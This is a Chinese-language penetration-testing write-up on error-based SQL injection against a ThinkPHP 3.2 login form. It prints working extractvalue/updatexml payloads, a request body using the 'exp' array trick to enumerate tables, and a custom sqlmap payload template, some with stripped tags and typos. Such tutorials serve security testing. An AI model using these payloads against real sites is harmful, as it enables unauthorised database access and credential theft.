某次报错注入到自定义sqlmap的payload全过程
01 登录框存在sql注入:
通过前期的信息搜集,发现站点使用thinkphp3.2版本的框架,在登录页面验证存在sql注入:
成功读取到数据库版本:
02 尝试通过手工注入获取后台账户
遗憾的是sqlmap连注入都识别不出:
--proxy=http://127.0.0.1:8080,将sqlmap的流量转发到burp分析payload,发现sqlmap发出的包多加了一个AND:
换手工注入:
查表名payload:extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
查列名payload:extractvalue(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where table_name='xxx'),0x7e),1) ,结果报错了:
分析原因:报错注入的错误信息最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位。查表名时,db_addo后面还有数据,所以db_addo这个表名是不全的。
limit分页:password=admin&username[0]=exp&username[1]==updatexml(1,concat(0x7e,(selecttable_name from information_schema.tables where table_schema='xxx' limit 3,1),0x7e),1)
//limit 3,1 读取第四条数据,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。
批量获取表名数据:
03 尝试更换sqlmap的payload全程自动化读取
理清sqlmap指定报错注入时获取数据的流程,三个重要标签:
payload>,vector,
1、首先获取payload标签的内容,这个标签也是我们可以控制的标签,这个标签就是用来判断是否有注入点,一般我们手动测到有报错注入的注入点的时候,就可以把payload放在这里
2、 接着对payload里面的[]中的标志位换成随机的字符或数字
3、然后对payload进行url编码,同时设置请求头,包括referer,host等信息
4、请求后返回获取的页面,然后将返回的页面和中的内容继续宁正则匹配,匹配后,如果返回值不为1,那么就会继续循环测试其它的payload。如果正则匹配返回值为1,那么,表示存在注入,此时就会进行其他数据的查询
5、返回值是1,接着就会调用vector,调用注入模板,将([query]),换为其它的payload,获取我们想要的信息。
添加payload。sqlmap的payload在sqlmap/xml/payloads目录下(新版本在data/xml/payloads下),关键是文件夹里的六个对应不同注入类型的配置文件和boundaries.xml文件。找到对应xml文件:
替换vector和payload标签中对应的值,标题、level、risk自定义即可,一个完整的模板以,已结束,这样得出适用于此场景的注入模板:
<span class="code-snippet__function" style="box-sizing: border-box;">Customed By <span class="code-snippet__title" style="box-sizing: border-box;">Kevil</span> <span class="code-snippet__params" style="box-sizing: border-box;">(EXTRACTVALUE)</span>2411,2,3,8,91<vector>EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))[DELIMITER_START](?P.*?)[DELIMITER_STOP]MySQL>= 5.1
04 测试效果
由于sqlmap自带的payload并不适用于所有测试场景,很多时候手工验证或者其他工具(xray)扫描出来的sql注入,sqlmap都无法识别出注入,此时自定义sqlmap的payload就更方便读取大批量数据。
